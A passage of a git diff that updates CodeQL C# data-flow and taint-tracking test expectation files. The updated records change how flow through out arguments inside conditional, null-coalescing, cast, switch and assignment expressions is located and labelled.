GlobalDataFlow.cs:470:15:470:17 | access to parameter arg : String | GlobalDataFlow.cs:469:21:469:21 | s : String | provenance | | | GlobalDataFlow.cs:473:28:473:41 | "taint source" : String | GlobalDataFlow.cs:466:53:466:55 | arg : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:22 | access to field field | provenance | | | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:22 | access to field field | provenance | | -| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:22 | access to field field | provenance | | | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:22 | access to field field | provenance | | | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:22 | access to field field | provenance | | -| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | | -| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | | +| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:21 | access to field field | provenance | | | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:21 | access to field field | provenance | | -| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:21 | access to field field | provenance | | | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:21 | access to field field | provenance | | | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:21 | access to field field | provenance | | -| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:22 | access to field field | provenance | | -| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:21 | access to field field | provenance | | | GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | provenance | | | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | GlobalDataFlow.cs:558:46:558:46 | access to local variable x : String | provenance | | @@ -880,43 +874,37 @@ nodes | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | semmle.label | sc [Return] : SimpleClass [field field] : String | | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String | | GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | semmle.label | "taint source" : String | -| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x1 : SimpleClass [field field] : String | -| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x2 : SimpleClass [field field] : String | +| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String | | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | semmle.label | access to local variable x1 : SimpleClass [field field] : String | | GlobalDataFlow.cs:491:15:491:22 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | semmle.label | access to local variable x2 : SimpleClass [field field] : String | | GlobalDataFlow.cs:492:15:492:22 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y1 : SimpleClass [field field] : String | -| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y2 : SimpleClass [field field] : String | -| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y3 : SimpleClass [field field] : String | +| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String | | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | semmle.label | access to local variable y1 : SimpleClass [field field] : String | | GlobalDataFlow.cs:498:15:498:22 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | semmle.label | access to local variable y2 : SimpleClass [field field] : String | | GlobalDataFlow.cs:499:15:499:22 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | semmle.label | access to local variable y3 : SimpleClass [field field] : String | | GlobalDataFlow.cs:500:15:500:22 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | semmle.label | [post] access to local variable x : SubSimpleClass [field field] : String | -| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | semmle.label | access to local variable x : SubSimpleClass [field field] : String | +| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | semmle.label | [post] (...) ... : SimpleClass [field field] : String | +| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String | | GlobalDataFlow.cs:509:15:509:21 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | semmle.label | [post] access to parameter x : SimpleClass [field field] : String | -| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String | +| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | semmle.label | [post] ... ?? ... : SimpleClass [field field] : String | | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | semmle.label | access to parameter x : SimpleClass [field field] : String | | GlobalDataFlow.cs:516:15:516:21 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String | | GlobalDataFlow.cs:517:15:517:21 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String | -| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String | -| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | semmle.label | [post] access to local variable z : SimpleClass [field field] : String | +| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | semmle.label | [post] ... switch { ... } : SimpleClass [field field] : String | | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String | | GlobalDataFlow.cs:531:15:531:21 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String | | GlobalDataFlow.cs:532:15:532:21 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | semmle.label | access to local variable z : SimpleClass [field field] : String | | GlobalDataFlow.cs:533:15:533:21 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String | +| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | semmle.label | [post] ...! : SimpleClass [field field] : String | | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | semmle.label | access to parameter sc : SimpleClass [field field] : String | | GlobalDataFlow.cs:539:15:539:22 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String | +| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | semmle.label | [post] ... = ... : SimpleClass [field field] : String | | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String | | GlobalDataFlow.cs:547:15:547:21 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | semmle.label | e : null [element] : String | diff --git a/csharp/ql/test/library-tests/dataflow/global/TaintTrackingPath.expected b/csharp/ql/test/library-tests/dataflow/global/TaintTrackingPath.expected index 43c462eaced..8fcf385a4f5 100644 --- a/csharp/ql/test/library-tests/dataflow/global/TaintTrackingPath.expected +++ b/csharp/ql/test/library-tests/dataflow/global/TaintTrackingPath.expected @@ -461,46 +461,40 @@ edges | GlobalDataFlow.cs:469:21:469:21 | s : String | GlobalDataFlow.cs:469:32:469:32 | access to parameter s | provenance | | | GlobalDataFlow.cs:470:15:470:17 | access to parameter arg : String | GlobalDataFlow.cs:469:21:469:21 | s : String | provenance | | | GlobalDataFlow.cs:473:28:473:41 | "taint source" : String | GlobalDataFlow.cs:466:53:466:55 | arg : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:22 | access to field field | provenance | | | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:22 | access to field field | provenance | | -| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:22 | access to field field | provenance | | | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:22 | access to field field | provenance | | | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:22 | access to field field | provenance | | -| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | | -| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance | | +| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:21 | access to field field | provenance | | | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:21 | access to field field | provenance | | -| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | | -| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:21 | access to field field | provenance | | | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:21 | access to field field | provenance | | | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:21 | access to field field | provenance | | -| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:22 | access to field field | provenance | | -| GlobalDataFlow.cs:546:24:546:24 | 